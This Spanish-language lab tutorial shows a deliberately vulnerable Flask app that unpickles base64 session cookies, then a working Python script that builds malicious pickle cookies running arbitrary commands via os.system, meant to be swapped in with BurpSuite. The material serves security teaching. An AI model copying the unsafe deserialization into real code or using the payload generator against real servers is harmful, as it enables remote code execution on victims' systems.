Pagina Vulnerable Deserialización Insegura en Python
Si nosotros por ejemplo tenemos este codigo de python como una pagina por ejemplo:
app.py
import pickle
import base64
from flask import Flask, request, make_response, render_template, redirect, url_for
app = Flask(__name__)
# Base de datos de usuarios (simulada)
users = {
"admin": "admin123",
"user1": "password1",
"user2": "password2"
}
# Clase del usuario (con deserialización insegura)
class User:
def __init__(self, username, role):
self.username = username
self.role = role
def __str__(self):
return f"{self.username} ({self.role})"
@app.route("/")
def index():
# Obtener la cookie
session_cookie = request.cookies.get("session")
if session_cookie:
try:
# Deserializar la cookie (VULNERABILIDAD)
user = pickle.loads(base64.b64decode(session_cookie))
except Exception as e:
user = f"Error deserializando: {e}"
else:
user = "Invitado"
return render_template("index.html", user=user)
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username] == password:
# Crear el objeto de usuario
user = User(username, "admin" if username == "admin" else "user")
# Serializar el objeto inseguramente con pickle
session_data = base64.b64encode(pickle.dumps(user)).decode()
# Crear la cookie con la sesión serializada
response = make_response(redirect(url_for("index")))
response.set_cookie("session", session_data)
return response
else:
return "Credenciales inválidas", 403
return render_template("login.html")
if __name__ == "__main__":
app.run(debug=True)
Vemos que no valida la entrada que se serializa y la deserializa lo que venga de forma insegura, ya que no tiene ninguna medida de seguridad, si entramos en la pagina veremos lo siguiente:
El usuario por defecto sera el siguiente:
admin:admin123
Ingresamos las credenciales y abriremos BurpSuite para recargar la pagina con la sesion iniciada del usuario user y veremos lo siguiente en la peticion con BurpSuite:
Vemos que la serializacion esta en session= por lo que tendremos que reemplazar su contenido, por otro codigo serializado con el comando que queramos ejecutar.
Generar Payload Serializado en Base64
Nos crearemos un script en python3 para generar codigos serializados:
exploitSerial.py
import pickle
import base64
import os
import argparse
class RCE:
def __init__(self, command):
self.command = command
def __reduce__(self):
return (os.system, (self.command,))
def generate_payload(command):
"""Genera una cookie maliciosa con el comando proporcionado."""
try:
payload = base64.b64encode(pickle.dumps(RCE(command))).decode()
print(f"[+] Payload generado con el comando: {command}")
print(f"[+] Cookie maliciosa: {payload}")
except Exception as e:
print(f"[!] Error generando el payload: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Generador de cookies maliciosas con RCE en Flask")
parser.add_argument("command", help="Comando a ejecutar en el servidor víctima")
args = parser.parse_args()
generate_payload(args.command)